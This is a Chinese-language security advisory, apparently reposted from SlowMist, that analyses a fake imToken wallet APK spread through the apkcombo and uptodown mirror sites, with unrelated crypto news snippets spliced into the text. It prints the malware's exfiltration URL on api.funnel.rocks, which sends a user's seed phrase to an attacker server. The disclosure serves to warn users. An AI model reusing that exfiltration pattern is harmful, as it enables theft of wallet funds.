原文作者:?山&耀
技术的Web3正在驱动下一代技术革命，越来越多的人开始参与到这场加密浪潮中，但Web3与Web2是两个截然不同的世界。Web3世界是一个充满着各种各样的机遇以及危险的黑暗森林，身处Web3世界中，钱包则是进入Web3世界的入口以及通行证。
当你通过钱包在Web3世界中探索体验诸多的区块链相关应用和网站的过程中，你会发现在一条公链上每个应用都是使用钱包“登录”；这与我们传统意义上的“登录”不同，在Web2世界中，每个应用之间的账户不全是互通的。但在Web3的世界中，所有应用都是统一使用钱包去进行“登录”，我们可以看到“登录”钱包时显示的不是“LoginwithWallet”，取而代之的是“ConnectWallet”。而钱包是你在Web3世界中的唯一通行证。
美国传奇基金经理：比特币是法拉利，而黄金是“马车”:10月5日消息，在Forbes/Shook顶级顾问峰会上，美国传奇基金经理Bill Miller对比特币取代黄金的说法进行了评论。这位前美盛首席投资官将比特币比作法拉利汽车，并称黄金让他想起了马车时代。据悉，去年6月，在比特币开启历史性牛市之前，Miller将其描述为“涡轮增压黄金”。（U.Today）[2021/10/5 17:25:18]
俗话说高楼之下必有阴影，在如此火热的Web3世界里，钱包作为入口级应用，自然也被黑灰产业链盯上。
在Android环境下，由于很多手机不支持GooglePlay或者因为网络问题，很多人会从其他途径下载GooglePlay的应用，比如：apkcombo、apkpure等第三方下载站，这些站点往往标榜自己App是从GooglePlay镜像下载的，但是其真实安全性如何呢？
观点：矿工抛售比特币的压力不能阻止牛市发展:据Cointelegraph 9月21日消息，历史数据显示，过去两个月，比特币矿工卖出了大量比特币，使得加密货币市场抛售压力增大。但CryptoQuant首席执行官Ki Young Ju表示，尽管市场面临矿工抛售压力，但这些压力也不能阻止牛市发展。[2020/9/21]
据数据统计站点similarweb统计，apkcombo站点：
全球排名：?1,?809?
国家排名：?7,?370?
品类排名：?168?
我们可以看到它的影响力和流量都非常大。
它默认提供了一款chromeAPK下载插件，我们发现这款插件的用户数达到了10W：
观点：比特币将长期稳固并使币价达到10万美元:加密货币分析师Nicholas Merten表示，他相信比特币将长期处于稳固的轨道上，这将使比特币币价达到10万美元。他提供了两个关键的基本面催化剂，可以推动比特币升至10万美元。Nicholas Merten说：“我们甚至还没有看到减半事件的经济后果，以及持续的宏观环境变得更加恐慌。这些都是可以推动比特币币值的东西。我认为，在这种情况下，10万美元是相当合理的。比特币的市值超过1万亿美元，在这样一个环境中是相对合理的，因为随着我们通过潜在的萧条进入一个更漫长的熊市，有资金从全球债券、全球货币、股票或房地产市场逃离。尽管全球经济的未来还不确定，但Nicholas Merten表示，从长远来看，随着投资者将目光投向股票以外的具有固定货币供应量的资产，美联储对经济的干预力度将越来越大，比特币将从中受益。（The Daily Hodl）[2020/4/11]
那么回到我们关注的Web3领域中钱包方向，用户如果从这里下载的钱包应用安全性如何？
数据：Lido以太坊质押数量突破400万枚ETH:金色财经报道，据以太坊质押节点分布数据显示，Lido以太坊质押数量已突破400万枚ETH，本文撰写时为4,157,248枚ETH，占比29.80%，较上周30.44%的市场份额略有下降。另在其他以太坊质押节点分布中，Coinbase目前质押数量为2,014,016枚ETH，Kraken质押量为1,141,216枚ETH，占比8.18%；Binance质押904,608枚ETH，占比6.48%。[2022/9/25 7:20:10]
我们拿知名的imToken钱包为例，其GooglePlay的正规下载途径为：
https://play.google.com/store/apps/details??id=im.token.app
由于很多手机不支持GooglePlay或者因为网络问题，很多人会从这里下载GooglePlay的应用。
而apkcombo镜像站的下载路径为：
https://apkcombo.com/downloader/#package=im.token.app
上图我们可以发现，apkcombo提供的版本为24.9.11?，经由imToken确认后，这是一个并不存在的版本！证实这是目前市面上假imToken钱包最多的一个版本。
在编写本文时imToken钱包的最新版本为2.11.3?，此款钱包的版本号很高，显然是为了伪装成一个最新版本而设置的。
如下图，我们在apkcombo上发现，此假钱包版本显示下载量较大，此处的下载量应该是爬取的GooglePlay的下载量信息，安全起见，我们觉得有必要披露这个恶意App的来源，防止更多的人下载到此款假钱包。
同时我们发现类似的下载站还有如：uptodown
下载地址：https://imtoken.br.uptodown.com/android
我们发现uptodown任意注册即可发布App，这导致钓鱼的成本变得极低：
慢雾：假钱包App已致上万人被盗，损失高达十三亿美元》，所以在此不再赘述。
我们仅对apkcombo提供版本为24.9.11这款假钱包进行分析，在开始界面创建钱包或导入钱包助记词时，虚假钱包会将助记词等信息发送到钓鱼网站的服务端去，如下图：
根据逆向APK代码和实际分析流量包发现，助记词发送方式：
https://api.funnel.rocks/api/trust??aid=?10&wt=?1&os=?1&key=<助记词>
看下图，最早的“api.funnel.rocks”证书出现在2022-06-03?，也就是攻击开始的大概时间：
俗话说一图胜千言，最后我们画一个流程图：
交易所时请认准官方下载渠道并从多方进行验证；如果你的钱包从上述镜像站下载，请第一时间转移资产并卸载该软件，必要时可通过官方验证通道核实。
同时，如需使用钱包，请务必认准以下主流钱包App官方网址：
1?/imToken钱包：https://token.im/
2?/TokenPocket钱包：https://www.tokenpocket.pro/
3?/TronLink钱包：https://www.tronlink.org/
4?/比特派钱包：https://bitpie.com/
5?/MetaMask钱包：https://metamask.io/
6?/TrustWallet：https://trustwallet.com/
请持续关注慢雾安全团队，更多Web3安全风险分析与告警正在路上。
致谢：感谢在溯源过程中imToken官方提供的验证支持。
由于保密性和隐私性，本文只是冰山一角。慢雾在此建议，用户需加强对安全知识的了解，进一步强化甄别网络钓鱼攻击的能力等，避免遭遇此类攻击。更多的安全知识建议阅读慢雾出品的《区块链黑暗森林自救手册》。
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。